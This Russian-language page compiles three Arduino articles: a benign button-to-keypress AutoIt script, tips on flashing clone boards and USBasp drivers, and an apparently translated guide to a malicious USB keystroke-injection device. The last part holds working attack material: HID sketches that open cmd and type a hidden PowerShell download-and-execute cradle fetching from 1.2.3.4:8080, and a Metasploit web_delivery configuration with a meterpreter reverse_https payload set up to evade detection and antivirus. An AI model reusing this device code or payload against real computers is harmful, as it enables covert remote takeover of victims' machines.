Для одного проекта необходимо было сделать управление компьютером при помощи ардуинки. Почитав информацию в интернете нашел, что такое возможно только при помощи Ардуинок с atmega 32u4 или Due. Мне такой вариант не подошел, так как у меня уже была готовая разведенная плата с atmega328, поэтому пришлось искать другой вариант, которым я и хочу с вами поделиться.
Берем любую ардуинку, например Uno и подключаем к ней кнопку (в моем случае один контакт к pin 2, другой к GND

Заливаем прошивку
bool buttonClicked = false;
void setup() {
Serial.begin(9600);
pinMode(2, INPUT_PULLUP);
}
void loop() {
if ((digitalRead(2) == LOW) && (buttonClicked == false)) {
Serial.println(«KEY_UP»);
buttonClicked = true;
}
if (digitalRead(2) == HIGH) buttonClicked = false;
delay(10);
}
Теперь перейдем к компьютеру.
Качаем и устанавливаем AutoIt https://www.autoitscript.com/site/autoit/
И библиотеку для работы с COM портом http://www.mosaiccgl.co.uk/AutoItDownloads/confirm.php?get=C…
Создаем примитивное фоновое приложение
#include
$err = 1
_CommSetPort(5, $err)
_CommPortConnection()
While 1
$key = _CommGetLine()
$key = StringReplace($key, @LF, «»)
$key = StringReplace($key, @CR, «»)
if ($key = «KEY_UP») then Send(«{UP}»)
WEnd
В строке _CommSetPort(5, $err) 5 — заменить на номер соответствующего COM порта, на котором висит ардуинка
Теперь по нажатию кнопки подключенной к Arduino у нас на компьютере будет эмулироваться нажатие кнопки ВВЕРХ в любом окне, даже в играх.
Таким образом эмулировать можно нажатие любой кнопки, комбинации кнопок, движение мышки и все, что вам будет угодно.
107feonor12Темы / СоветыДобавлено 9 комментариев Первым делом хочу сказать, что это не гайд по решению всех на свете проблем с ардуино, а лишь тех, с которыми пришлось столкнуться мне. Тем не менее сталкиваясь с этими проблемами я потратил немало времени на поиски информации по их решению, так что думаю, статья будет полезна. Так же я не буду рассматривать проблемы, связанные с компиляцией. Ошибки компиляции — это ошибки программирования, это уже частные случаи и рассматривают их так же в частном порядке на всевозможных форумах.Способ 1. Стандартная прошивкаНесмотря на всю простоту ардуино в плане программирования, даже на этом этапе могут возникнуть проблемы. Возникают они, как правило, при использовании китайских клонов. Но будем планомерными. Для программирования ардуино так, как это замышлялось разработчиками, необходимо скачать и установить с оффсайта среду разработки Arduino IDE и провести установку в соответствии с указаниями. Об этом есть сотни, если не тысячи, статей даже в русскоязычном сегменте интернета, по этому останавливаться на этом не буду. При использовании оригинальных ардуино проблем возникнуть не должно. Но у нас, как правило, все используют куда более дешевые китайские клоны. Они, в общем то, ничем не отличаются от оригинала, по крайней мере в плане производительности. Лично мне китайская компоновка Arduino Pro Mini с контактами А4 и А5 в ряду с остальными, нравиться куда больше, чем компоновка оригинальной платы. Но в ту же очередь китайцы, несмотря на коммунистический строй, по сути самые настоящие капиталисты, и экономят для экспорта на всем, на чем только можно. Под эту экономию подпадают и чипы USB интерфейса тех самых ардуино. Тут и начинаются проблемы. Дело в том, что в китайских клонах используется не оригинальный чип CH340. И так, будем считать, что Вы выполнили все стандартные процедуры установки ПО и драйверов, но ардуино так и не шьется. Первым делом идем в ПУСК>Панель управления>Диспетчер устройств. Тут обращаем внимание на два пункта: Контроллеры USB и COM LPT порты.
avrdude.exe: error: could not find USB device "USBasp" with vid=0x16c0 pid=0x5dc
Над решением беды бился долго, и нашел лишь на забугорных форумах. И так:1)По следующей ссылке скачиваем архив LibUSB-64bit.zip 2)Подключаем программатор к USB порту.3)Распаковываем архив и переходим по пути куда распаковалиLibUSB-64bitlibusb-win32-bin-1.2.1.0binx864) Запускаем inf-wizard.exe5)Жмем Next6)Выбираем USBasp и жмем Next7)Следующие поля заполняем таким образом:Жмем Next8 )Сохраняем сгенерированный файл по пути:LibUSB-64bitlibusb-win32-bin-1.2.1.0binamd64 — если у вас 64-х разрядная система илиLibUSB-64bitlibusb-win32-bin-1.2.1.0binx86 — если 32-х разрядная 9)Жмем install now10) Система уведомит, что драйвер не из проверенных источников. Жмем «Все равно установить» 11)Начнется установка драйвера. В процессе установки услышим звук отключения и подключения USB устройства. По окончанию установки жмем ОК.Ещё несколько советовОчень распространенные модули NRF24L01 имеют большой косяк. Для нормальной и стабильной работы этих модулей необходимо по питанию повесить конденсатор хотя бы на 10 мкФ 5 В. Меньше не желательно, больше — бесполезно. Но если нет на 10, конечно, ставьте на 22 или 47. Так же советуют параллельно нему повесить еще один керамический на 10-100 нФ. При чем как можно ближе к самому модулю, в идеале — на выводы. В противном случае модуль вроде и видится, но нормально не передает.Если на выводах RX и TX висит какое-то исполняющее устройство — ардуинка не прошьется. Сначала прошивайте, потом подключайте на эти выводы необходимое устройство.На этом все, Надеюсь информация будет кому-то полезна.Всем удачи в творчестве! Автор оригинала: Adam Eaton
- Перевод

#include. Вам понадобится установить библиотеку, следуя этой инструкции.#include Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
#include void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! n"); delay(500); }

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Отлично. Создадим эксплоит во фреймворке Metasploit. Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы. Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.use exploit/multi/script/web_delivery Нужно сказать нашей программе, откуда брать бинарники:set LHOST 1.2.3.4 Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉set LPORT 443 Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.set URIPATH / Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.set TARGET 2 Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.set PAYLOAD windows/meterpreter/reverse_https И наконец exploit. Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.use exploit/multi/script/web_delivery set LHOST 1.2.3.4 set LPORT 443 set URIPATH / set TARGET 2 set PAYLOAD windows/meterpreter/reverse_https exploit Получаем полезную нагрузку для запуска на компьютере жертвы:powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/'); Теперь можем запустить это с флэшки.
#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.


#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); Keyboard.write(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.Используемые источники:
- https://pikabu.ru/story/upravlenie_kompyuterom_pri_pomoshchi_arduino_cherez_usb_4676892
- https://usamodelkina.ru/14782-neskolko-sposobov-proshivki-arduino-i-reshenie-problem-svjazannyh-s-jetim.html
- https://habr.com/post/407337/
Выпуск 2. Основы Arduino для начинающих. Знакомство с Arduino, выбор платы и компонентов для дальнейшей работы
Библиотека LiquidCrystal для работы с символьным LCD на Arduino
Видео и фото обзор стартового набора Arduino для UNO R3 из посылки на Aliexpress








НОВИНКА 2016 года! ЭЛЕКТРОНИКА ДЛЯ НАЧИНАЮЩИХ. БАЗОВЫЙ НАБОР ЭЛЕКТРОННЫХ КОМПОНЕНТОВ+КНИГА (11 ЭКСПЕРИМЕНТОВ).
Arduino для начинающих. Урок 7. Подключение фоторезистора
Заметки Ардуинщика
Воспроизведение аудиофайлов с помощью Ардуино без сторонних плееров и SD-карт